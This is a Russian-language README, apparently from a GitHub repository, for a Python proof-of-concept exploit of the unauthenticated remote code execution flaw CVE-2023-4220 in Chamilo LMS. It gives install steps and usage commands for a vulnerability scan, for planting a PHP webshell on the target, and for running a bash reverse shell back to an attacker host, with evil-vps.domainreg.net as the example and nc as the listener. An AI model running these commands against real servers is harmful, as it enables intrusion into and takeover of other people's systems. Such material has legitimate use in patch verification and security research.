charchit-subedi/chamilo-lms-unauthenticated-rce-pocЭто скрипт, написанный на Python, который позволяет эксплуатировать уязвимость безопасности в программном обеспечении Chamilo LMS, описанную в CVE-2023-4220.
Это скрипт, написанный на Python, который позволяет эксплуатировать уязвимость программного обеспечения Chamilo LMS, описанную в CVE-2023-4220. Система уязвима в версиях, предшествующих 1.11.24.
Склонируйте репозиторий на свою машину и установите зависимости с помощью pip (рекомендуется использовать virtualenv для создания окружения, чтобы изолировать эти установки от глобальных)
git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc
cd chamilo-lms-unauthenticated-rce-poc
pip install -r requirements.txt
Скрипту требуется URL-адрес цели с корневым путём Chamilo (например, http://example.com/chamilo, http://example.com или http://chamilo.example.com) и действие, которое нужно выполнить (доступны три действия: scan, webshell и revshell).
Это действие проверяет, уязвима ли цель, пытаясь получить доступ к конечной точке /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan
Это действие создаёт файл PHP webshell в уязвимой конечной точке.
python3 main.py -u http://example.com/chamilo -a webshell
Это действие создаёт и выполняет файл bash reverse shell. Для этого сначала будет создан webshell тем же методом, который использовался в предыдущем действии. После этого будут выполнены некоторые команды для создания и запуска bash-файла. Убедитесь, что вы слушаете порт, который указали, с помощью nc или любого другого инструмента, чтобы действительно получить обратное соединение. Кроме того, хост может быть допустимым внутренним/публичным IPv4-адресом (например, 172.17.1.4 или 186.227.4.31) или зарегистрированным вами доменом (например, evil-vps.domainreg.net).
python3 main.py -u http://example.com/chamilo -a revshell